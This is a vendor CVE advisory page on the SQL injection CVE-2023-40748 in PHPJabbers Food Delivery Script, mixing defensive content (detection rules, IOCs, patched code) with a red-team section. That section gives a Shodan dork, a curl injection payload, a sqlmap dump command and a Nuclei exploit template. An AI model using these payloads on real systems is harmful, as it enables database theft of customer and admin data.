☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2023-40748

CVE-2023-40748 is a critical SQL injection vulnerability in PHPJabbers Food Delivery Script version 3.
📅 PUBLISHED: 2023-08-28 00:00 UTC 🔄 UPDATED: 2026-10-15 23:32 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 3.32%
👁️
3.32% probability
83.0× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
Country: United Kingdom License: Proprietary
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-40748 is a critical SQL injection vulnerability in PHPJabbers Food Delivery Script version 3.0. The flaw resides in the q parameter of index.php, allowing unauthenticated remote attackers to inject arbitrary SQL commands. Successful exploitation can lead to full database compromise, including extraction of customer orders, payment details, delivery addresses, and admin credentials. The vulnerability has a CVSS score of 9.8 (Critical) and is publicly exploitable via a verified Nuclei template. No official patch has been released by the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a commercial PHP application (PHPJabbers Food Delivery Script) and is not distributed via NPM, PyPI, Go, or Ruby package managers. The risk is limited to direct deployments of the script. Users should verify the integrity of their installation and monitor for any vendor updates.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 9.8 (Critical)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: High (I:H)
  • Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public exploit code exists.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the q parameter of the index.php controller. The application fails to sanitize user input before incorporating it into SQL queries. The Nuclei template demonstrates a POST request to:

/index.php?controller=pjAdminOrders&action=pjActionGetNewOrder&column=created&direction=ASC&page=1&rowCount=50&q=-1910') OR 6100=6100#&type=

The injected payload -1910') OR 6100=6100# breaks out of the SQL string context (using a single quote and closing parenthesis) and appends a tautology (OR 6100=6100). The # character comments out the remainder of the query, preventing syntax errors. The server responds with a 200 status and specific error messages if the injection is successful.

The vulnerable parameter is likely used in a WHERE clause or LIKE operator without parameterized queries. The exact vulnerable code path is in the pjAdminOrders controller's pjActionGetNewOrder action.

Vulnerable vs. Patched Code

Vulnerable Code (PHPJabbers Food Delivery Script 3.0):

// index.php (simplified)
$q = $_GET['q'];
$sql = "SELECT * FROM orders WHERE order_id LIKE '%$q%'";
$result = mysqli_query($conn, $sql);

Patched Code (Recommended):

// index.php (patched)
$q = $_GET['q'];
$stmt = $conn->prepare("SELECT * FROM orders WHERE order_id LIKE ?");
$searchTerm = '%' . $q . '%';
$stmt->bind_param("s", $searchTerm);
$stmt->execute();
$result = $stmt->get_result();

The patch uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from user data.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A target running PHPJabbers Food Delivery Script 3.0
  • Network access to the application

Exploitation Steps:

  1. Reconnaissance: Identify the target application by searching for "PHPJabbers" in HTML source or using Shodan dork html:"PHPJabbers".

  2. Craft Payload: Use the following POST request to test for SQL injection:

curl -X POST "http://target.com/index.php?controller=pjAdminOrders%26action%3dpjActionGetNewOrder%26column%3dcreated%26direction%3dASC%26page%3d1%26rowCount%3d50%26q%3d-1910%27)+OR+6100%3d6100%23%26type%3d"
  1. Verify Injection: If the response contains "class pjAdminOrdersaction" and "didn't exists", the injection is successful.

  2. Extract Data: Use SQLmap or manual injection to enumerate tables and dump data:

sqlmap -u "http://target.com/index.php?controller=pjAdminOrders&action=pjActionGetNewOrder&column=created&direction=ASC&page=1&rowCount=50&q=1&type=" --data="q=1" --batch --dump

Expected Outcome: Full database dump including admin credentials, customer PII, and payment records.

Blue Team

Detection & Response:

  1. Monitor Web Logs: Look for requests to index.php with the controller=pjAdminOrders parameter and suspicious q values containing SQL keywords (OR, UNION, SELECT, etc.).

  2. WAF Rules: Block requests containing SQL injection patterns in the q parameter.

  3. Network Segmentation: Isolate the web server from the database server to limit lateral movement.

  4. Incident Response: If exploitation is detected:

    • Isolate the affected server
    • Review database logs for unauthorized queries
    • Rotate all credentials stored in the database
    • Apply virtual patching via WAF until official fix is available

Indicators of Compromise (IOCs)

  • Network IOCs:

    • POST requests to /index.php with controller=pjAdminOrders and q parameter containing SQL injection patterns
    • HTTP responses containing "class pjAdminOrdersaction" and "didn't exists"
    • Outbound database connections from the web server to unusual IPs
  • File IOCs:

    • Modified index.php or other PHP files (if attacker uploads webshell)
    • Suspicious files in /uploads/ or /tmp/ directories
  • Log IOCs:

    • Database error logs showing SQL syntax errors
    • Web server access logs with encoded SQL payloads in the q parameter

Detection Engineering

YARA Rule

rule CVE_2023_40748_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2023-40748 in PHPJabbers Food Delivery Script"
        author = "Valters IT"
        date = "2025-04-16"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-40748"
        severity = "critical"

    strings:
        $sqli_pattern1 = /q=.*['\"]\s*OR\s+\d+=\d+/ nocase
        $sqli_pattern2 = /q=.*['\"]\s*UNION\s+SELECT/ nocase
        $sqli_pattern3 = /q=.*['\"]\s*AND\s+\d+=\d+/ nocase
        $sqli_pattern4 = /controller=pjAdminOrders/ nocase

    condition:
        any of ($sqli_pattern*) and $sqli_pattern4
}

Sigma Rule

title: CVE-2023-40748 SQL Injection Attempt
id: 7a8b3c2d-1e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects SQL injection attempts against PHPJabbers Food Delivery Script CVE-2023-40748
author: Valters IT
date: 2025-04-16
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40748
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'controller=pjAdminOrders'
        cs-uri-query|contains|all:
            - 'q='
            - 'OR'
            - '='
    condition: selection
falsepositives:
    - Legitimate use of the letter 'OR' in search queries (rare)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2023-40748 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/index.php"; http_uri; content:"controller=pjAdminOrders"; http_uri; content:"q="; http_uri; pcre:"/q=.*['\"]\s*OR\s+\d+=\d+/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template

id: CVE-2023-40748

info:
  name: PHPJabbers Food Delivery Script - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    PHPJabbers Food Delivery Script 3.0 has a SQL injection (SQLi) vulnerability in the "q" parameter of index.php.
  impact: |
    Unauthenticated attackers can exploit SQL injection in the q parameter to extract sensitive database information including customer orders, payment details, delivery addresses, and admin credentials from the Food Delivery platform.
  remediation: |
    Update PHPJabbers Food Delivery Script to a version newer than 3.0 that properly sanitizes the q parameter and uses parameterized queries.
  reference:
    - https://medium.com/@tfortinsec/multiple-vulnerabilities-in-phpjabbers-part-3-40fc3565982f
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40748
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-40748
    cwe-id: CWE-89
    epss-score: 0.44459
    epss-percentile: 0.97578
    cpe: cpe:2.3:a:phpjabbers:food_delivery_script:3.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"PHPJabbers"
    vendor: phpjabbers
    product: food_delivery_script
  tags: cve,cve2023,phpjabbers,food-delivery,sqli,vuln,vkev

http:
  - method: POST
    path:
      - "{{BaseURL}}/index.php?controller=pjAdminOrders%26action%3dpjActionGetNewOrder%26column%3dcreated%26direction%3dASC%26page%3d1%26rowCount%3d50%26q%3d-1910%27)+OR+6100%3d6100%23%26type%3d"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "class <strong>pjAdminOrdersaction"
          - "didn't exists"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100bf37a330254ecc72dca9ee059d866642aa07e067714ece74a0108521db639f1b022100f3ce51ef70437abcea075b85fc46dd122e97590bd46270e508a7079ace9bc3ff:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

  1. Virtual Patching: Deploy WAF rules to block SQL injection patterns in the q parameter.
  2. Input Validation: Implement strict input validation for the q parameter (allow only alphanumeric characters and spaces).
  3. Database Hardening: Restrict database user privileges to only necessary operations (no DROP, INSERT, or DELETE for the web application user).

Long-Term Fix:

  1. Code Rewrite: Replace all dynamic SQL queries with prepared statements or parameterized queries.
  2. Vendor Update: Monitor PHPJabbers for an official patch. If none is released, consider migrating to an alternative solution.
  3. Security Audit: Conduct a full security audit of the application to identify similar vulnerabilities.

Verification:

  • After applying patches, re-run the Nuclei template to confirm the vulnerability is mitigated.
  • Use static analysis tools to scan for remaining SQL injection points.

Valters IT

{/* [Security Hash: F5B0433DC28A7BB200A095D8] */}

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-40748/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.